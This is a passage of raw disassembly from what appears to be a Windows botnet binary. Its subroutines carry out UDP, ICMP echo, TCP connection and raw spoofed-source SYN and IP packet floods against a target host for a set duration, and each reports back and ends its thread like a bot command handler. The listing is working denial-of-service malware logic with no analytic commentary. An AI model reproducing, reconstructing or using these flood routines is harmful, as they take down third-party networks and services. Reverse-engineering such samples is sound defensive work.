push offset byte_4D1050
push [ebp+var_4]
call dword_4CE36C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_413FDB
inc [ebp+arg_0]
loc_413F3F: ; CODE XREF: sub_413C65+1B7j
call esi ; GetTickCount
sub eax, [ebp+var_8]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe loc_413E21
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_439B78
push eax
call sub_41BEF6
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413FBE
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409743
add esp, 14h
loc_413FBE: ; CODE XREF: sub_413C65+337j
lea eax, [ebp+var_3BC]
push eax
call sub_415F45
push [ebp+var_38]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_413FDB: ; CODE XREF: sub_413C65+2D1j
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_439B30
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41BFF0
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_414033
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409743
add esp, 14h
loc_414033: ; CODE XREF: sub_413C65+3ACj
lea eax, [ebp+var_3BC]
push eax
call sub_415F45
push [ebp+var_38]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
sub_413C65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414050 proc near ; DATA XREF: sub_401AA1+5436o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_4CE290 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CE348 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4140AB
lea eax, [ebp+var_C0]
push eax
call dword_4CE38C ; gethostbyname
cmp eax, ebx
jz short loc_4140B1
loc_4140AB: ; CODE XREF: sub_414050+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_41410E
loc_4140B1: ; CODE XREF: sub_414050+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_439C6C
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_4140F1
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409743
add esp, 14h
loc_4140F1: ; CODE XREF: sub_414050+7Fj
lea eax, [ebp+var_344]
push eax
call sub_415F45
push [ebp+var_30]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
loc_41410E: ; CODE XREF: sub_414050+5Fj
cmp eax, ebx
jz short loc_41411E
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_414121
; ---------------------------------------------------------------------------
loc_41411E: ; CODE XREF: sub_414050+C0j
mov [ebp+var_4], esi
loc_414121: ; CODE XREF: sub_414050+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BC00
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_414141
mov [ebp+var_3C], eax
loc_414141: ; CODE XREF: sub_414050+ECj
cmp [ebp+var_38], edi
jge short loc_414149
mov [ebp+var_38], edi
loc_414149: ; CODE XREF: sub_414050+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_414176
loc_414150: ; CODE XREF: sub_414050+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CE220 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_414150
loc_414176: ; CODE XREF: sub_414050+FEj
push [ebp+arg_0]
call dword_4CE3BC ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_439C40
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_4141BF
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409743
add esp, 14h
loc_4141BF: ; CODE XREF: sub_414050+14Dj
lea eax, [ebp+var_344]
push eax
call sub_415F45
push [ebp+var_30]
call sub_40B56A
pop ecx
pop ecx
push ebx
call dword_4280D4 ; ExitThread
sub_414050 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141DC proc near ; DATA XREF: sub_401AA1+567Eo
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41C190
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call dword_4280B0 ; GetTickCount
push eax
call sub_41BF48
pop ecx
push 11h
push 2
push 2
call dword_4CE388 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4CE348 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_4142C1
lea eax, [ebp+var_B0]
push eax
call dword_4CE38C ; gethostbyname
cmp eax, edi
jnz short loc_4142BA
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_439CC0
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41429D
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409743
add esp, 14h
loc_41429D: ; CODE XREF: sub_4141DC+9Fj
lea eax, [ebp+var_334]
push eax
call sub_415F45
push [ebp+var_20]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
loc_4142BA: ; CODE XREF: sub_4141DC+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_4142C4
; ---------------------------------------------------------------------------
loc_4142C1: ; CODE XREF: sub_4141DC+6Ej
lea eax, [ebp+arg_0]
loc_4142C4: ; CODE XREF: sub_4141DC+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_4142DF
call sub_41BF52
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_4142E2
; ---------------------------------------------------------------------------
loc_4142DF: ; CODE XREF: sub_4141DC+F0j
push [ebp+var_24]
loc_4142E2: ; CODE XREF: sub_4141DC+101j
call dword_4CE308 ; ntohs
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_4142F4
mov [ebp+var_24], esi
loc_4142F4: ; CODE XREF: sub_4141DC+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_414301
mov [ebp+var_24], eax
loc_414301: ; CODE XREF: sub_4141DC+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_414315
mov [ebp+var_28], esi
loc_414315: ; CODE XREF: sub_4141DC+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_41438E
loc_41431C: ; CODE XREF: sub_4141DC+158j
call sub_41BF52
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_41431C
jmp short loc_41438E
; ---------------------------------------------------------------------------
loc_414338: ; CODE XREF: sub_4141DC+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_41433E: ; CODE XREF: sub_4141DC+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CE36C ; sendto
push [ebp+var_28]
call dword_428080 ; Sleep
dec esi
jnz short loc_41433E
cmp [ebp+var_24], edi
jnz short loc_41438E
call sub_41BF52
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CE308 ; ntohs
mov [ebp+var_E], ax
loc_41438E: ; CODE XREF: sub_4141DC+13Ej
; sub_4141DC+15Aj ...
cmp [ebp+var_30], edi
jg short loc_414338
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_439C94
push eax
call sub_41BEF6
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_4143D6
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409743
add esp, 14h
loc_4143D6: ; CODE XREF: sub_4141DC+1D8j
lea eax, [ebp+var_334]
push eax
call sub_415F45
push [ebp+var_20]
call sub_40B56A
pop ecx
pop ecx
push edi
call dword_4280D4 ; ExitThread
sub_4141DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F3 proc near ; DATA XREF: sub_401AA1+4CFEo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_414549
push eax
lea eax, [ebp+var_414]
push offset dword_439CE8
push eax
call sub_41BEF6
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_414470
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409743
add esp, 14h
loc_414470: ; CODE XREF: sub_4143F3+5Bj
lea eax, [ebp+var_414]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_4143F3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41448F proc near ; CODE XREF: sub_414549+27p
var_654 = dword ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CE308 ; ntohs
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_414545
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_4144D9: ; CODE XREF: sub_41448F+B2j
xor esi, esi
loc_4144DB: ; CODE XREF: sub_41448F+77j
push 0
push 1
push 2
call dword_42821C ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_414503
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_4281F8 ; ioctlsocket
loc_414503: ; CODE XREF: sub_41448F+62j
inc esi
cmp esi, edi
jl short loc_4144DB
xor esi, esi
loc_41450A: ; CODE XREF: sub_41448F+91j
lea eax, [ebp+var_14]
push 10h
push eax
push [ebp+esi*4+var_654]
call dword_428210 ; connect
inc esi
cmp esi, edi
jl short loc_41450A
push 64h
call dword_428080 ; Sleep
xor esi, esi
loc_41452C: ; CODE XREF: sub_41448F+ADj
push [ebp+esi*4+var_654]
call dword_428218 ; closesocket
inc esi
cmp esi, edi
jl short loc_41452C
dec [ebp+arg_4]
jnz short loc_4144D9
pop edi
pop esi
loc_414545: ; CODE XREF: sub_41448F+3Ej
xor eax, eax
leave
retn
sub_41448F endp
; =============== S U B R O U T I N E =======================================
sub_414549 proc near ; CODE XREF: sub_4143F3+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A7C5
push [esp+10h+arg_4]
mov edi, eax
call sub_41BDE9
push [esp+14h+arg_8]
mov ebx, eax
call sub_41BDE9
mov esi, eax
push esi
push ebx
push edi
call sub_41448F
add esp, 18h
test eax, eax
jnz short loc_41457D
inc eax
loc_41457D: ; CODE XREF: sub_414549+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414549 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41458C proc near ; DATA XREF: sub_401AA1+632Ao
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_4148D9
push eax
lea eax, [ebp+var_414]
push offset unk_439D14
push eax
call sub_41BEF6
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_414609
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409743
add esp, 14h
loc_414609: ; CODE XREF: sub_41458C+5Bj
lea eax, [ebp+var_414]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_41458C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414628 proc near ; CODE XREF: sub_4148D9+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CE278 ; WSAStartup
test eax, eax
jz short loc_414668
xor eax, eax
jmp loc_4148AC
; ---------------------------------------------------------------------------
loc_414668: ; CODE XREF: sub_414628+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CE3AC ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_4148A4
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CE2E8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_41489A
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CE308 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CE308 ; ntohs
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CE308 ; ntohs
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CE308 ; ntohs
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_428140 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_42813C ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D920
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414753: ; CODE XREF: sub_414628+25Dj
; sub_414628+269j
mov [ebp+var_24], bx
call sub_41BF52
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CE308 ; ntohs
mov [ebp+var_34], ax
call sub_41BF52
mov edi, eax
shl edi, 10h
call sub_41BF52
or edi, eax
push edi
call dword_4CE308 ; ntohs
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CE304 ; ntohl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CE308 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A92E
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_41C9B0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BC00
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A92E
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_41C9B0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CE36C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4148B0
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_42813C ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414897
jl loc_414753
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_414753
loc_414897: ; CODE XREF: sub_414628+25Bj
mov ebx, [ebp+arg_8]
loc_41489A: ; CODE XREF: sub_414628+78j
; sub_414628+2AFj
push [ebp+var_C]
call dword_4CE3A0 ; closesocket
pop esi
loc_4148A4: ; CODE XREF: sub_414628+5Bj
call dword_4CE260 ; WSACleanup
mov eax, ebx
loc_4148AC: ; CODE XREF: sub_414628+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4148B0: ; CODE XREF: sub_414628+247j
call dword_4CE29C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_439D3C
push eax
call sub_41BEF6
lea eax, [ebp+var_F4]
push eax
call sub_415F45
add esp, 10h
jmp short loc_41489A
sub_414628 endp
; =============== S U B R O U T I N E =======================================
sub_4148D9 proc near ; CODE XREF: sub_41458C+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A7C5
push [esp+10h+arg_4]
mov esi, eax
call sub_41BDE9
push [esp+14h+arg_8]
mov ebx, eax
call sub_41BDE9
mov edi, eax
call sub_41BF52
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_414628
add esp, 1Ch
test eax, eax
jnz short loc_414922
inc eax
loc_414922: ; CODE XREF: sub_4148D9+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4148D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414931 proc near ; DATA XREF: sub_401AA1+6C9Bo
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41BDE9
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CE348 ; inet_addr
push eax
call sub_4149D2
push eax
lea eax, [ebp+var_394]
push offset dword_439D5C
push eax
call sub_41BEF6
xor esi, esi
add esp, 14h
cmp [ebp+var_8], esi
jnz short loc_4149B3
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409743
add esp, 14h
loc_4149B3: ; CODE XREF: sub_414931+60j
lea eax, [ebp+var_394]
push eax
call sub_415F45
push [ebp+var_10]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_414931 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149D2 proc near ; CODE XREF: sub_414931+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
xor ecx, ecx
push 6
inc ecx
pop edx
mov ebx, 0FFh
xor eax, eax
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41D635
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CE31C ; gethostname
push [ebp+var_4]
call dword_4CE38C ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CE388 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CE2E8 ; setsockopt
mov esi, 200h
push esi
call sub_41BB45
mov edi, dword_4280B0
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CE308 ; ntohs
mov [ebp+var_96], ax
jmp loc_414BBC
; ---------------------------------------------------------------------------
loc_414AF2: ; CODE XREF: sub_4149D2+1FBj
call sub_41BF52
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41BF52
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41BF52
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41BF52
mov [ebp+var_20], ax
call sub_41BF52
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CE308 ; ntohs
push esi
mov [ebp+var_1E], ax
call dword_4CE308 ; ntohs
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41BF52
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40A92E
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call near ptr sub_41C9B0
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call dword_4CE36C ; sendto
loc_414BBC: ; CODE XREF: sub_4149D2+11Bj
call edi ; GetTickCount
sub eax, [ebp+var_10]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+arg_4]
jbe loc_414AF2
push [ebp+var_8]
call sub_41B721
pop ecx
push [ebp+var_4]
call dword_4CE3A0 ; closesocket
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_4149D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
